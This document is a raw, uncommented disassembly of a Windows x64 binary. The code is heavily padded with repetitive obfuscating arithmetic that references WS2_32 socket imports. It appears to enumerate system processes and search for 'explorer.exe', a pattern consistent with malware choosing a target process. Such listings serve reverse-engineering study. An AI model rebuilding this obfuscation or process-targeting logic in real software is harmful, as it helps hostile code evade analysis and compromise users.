call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005658e
movzx eax, byte [reloc.WS2_32.dll_htons]
call fcn.140012bf0
call fcn.140012bc0
call fcn.140012bb0
movzx eax, byte [str._b_t3p]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x68]
jmp 0x14005658e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005658e
test r15d, r15d
js 0x1400563f5
cmp byte [rbp + 0x68], 0
je 0x1400563f5
cmp byte [r14], 0
jne 0x1400563f5
mov edi, 1
mov edx, edi
jmp 0x1400563fc
xor eax, eax
mov edx, eax
lea edi, [rax + 1]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400564ae
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400564ae
mov dword [rbp - 0x64], esi
jmp 0x14005653f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005653f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
mov dword [rbp - 0x64], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx edx, byte [reloc.WS2_32.dll_accept]
sub eax, edx
movzx edx, byte [rbp - 0x78]
imul eax, dword [rbp - 0x64]
test eax, eax
cmovne edx, edi
mov byte [rbp - 0x78], dl
mov r15, qword [rsp + 0x70]
mov rcx, r13
call qword [r15 + Ordinal_26]
inc r12d
add r14, 0x10
cmp r12d, 0xa
jb 0x140055987
mov r14d, dword [rbp - 0x68]
inc r14d
mov dword [rbp - 0x68], r14d
xor r12d, r12d
jmp 0x1400557f0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movaps xmm6, xmmword [rsp + 0x260]
xor edx, edx
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005adb7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xorps xmm2, xmm2
cvtsi2sd xmm2, qword [r15 + 0x10]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400566be
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400566be
mov r14d, esi
jmp 0x140056754
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005674f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140056754
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14005adb7
mov rax, qword [r15 + 0x18]
lea r9, [rbp + 0x38]
mov r13, qword [r15 + 0x10]
lea rdx, [rbp + 0x38]
xor r8d, r8d
mov qword [rbp - 0x50], rax
mov dword [rsp + 0x70], r12d
mov rdi, r12
mov dword [rbp + 0x70], r12d
mov dword [rsp + 0x60], r12d
lea ecx, [r8 + 5]
mov dword [rbp + 4], r12d
mov dword [rbp + 0x38], r12d
mov dword [rbp], r12d
mov qword [rbp - 0x80], r12
call r13
mov r15d, dword [rsp + 0x70]
mov r14d, dword [rsp + 0x70]
movsx ecx, byte [reloc.WS2_32.dll_getsockopt]
mov r12d, eax
xor eax, eax
cmp r12d, 0xc0000004
movd xmm1, ecx
sete al
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400568a4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400568a4
mov r15d, esi
jmp 0x140056933
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056933
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r15d, xmm0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r15d
test eax, eax
je 0x140056b81
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056b59
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cvtdq2pd xmm0, xmm0
test rdi, rdi
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056a79
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140056a79
mov r14d, esi
jmp 0x140056b08
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056b08
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
movsx r8d, byte [str._b_t3p]
add eax, ecx
div r8d
movsx edx, byte [reloc.WS2_32.dll_accept]
sub eax, edx
imul eax, r14d
test eax, eax
je 0x140056b59
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rbp + 0x38]
lea r9, [rbp + 0x38]
mov rdx, rax
mov qword [rbp - 0x80], rax
mov ecx, 5
mov rdi, rax
call r13
jmp 0x1400567e3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056f01
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
shr r12d, 0x1f
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mov eax, r12d
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056c7c
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140056c7c
mov edi, esi
jmp 0x140056d10
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056d0c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140056d10
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
mov rdi, qword [rbp - 0x80]
test eax, eax
je 0x140056f05
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056e52
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x140056ef6
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056ee2
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si eax, xmm0
jmp 0x140056ee6
mov eax, dword [rsp + 0x70]
xor r12d, r12d
cmp r12d, eax
jge 0x140056f08
mov r14d, r12d
jmp 0x14005949e
xor r12d, r12d
mov r14d, r12d
jmp 0x14005949e
mov rdi, qword [rbp - 0x80]
xor r12d, r12d
mov r13d, dword [rsp + 0x70]
mov r14, rdi
mov qword [rsp + 0x68], rdi
mov eax, dword [r14]
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140056fca
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140056fca
mov dword [rbp - 0x6c], esi
jmp 0x14005705b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005705b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x6c]
test eax, eax
je 0x140059304
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400592ea
mov r15, qword [r14 + 0x40]
lea r12, str.explorer.exe
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xor r14d, r14d
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058fbc
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
test r15, r15
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r14d
cvtdq2pd xmm0, xmm0
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400571f0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400571f0
mov dword [rbp - 0x70], esi
jmp 0x140057281
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057281
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x70]
test eax, eax
je 0x140058fbc
nop word [rax + rax]
movzx r14d, word [r15]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057644
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor ecx, ecx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
lea eax, [r14 - 0x41]
cvtdq2pd xmm0, xmm0
cmp eax, 0x19
setbe cl
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400573d5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400573d5
mov dword [rbp - 0x74], esi
jmp 0x140057466
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140057466
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x74]
test eax, eax
je 0x140057644
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
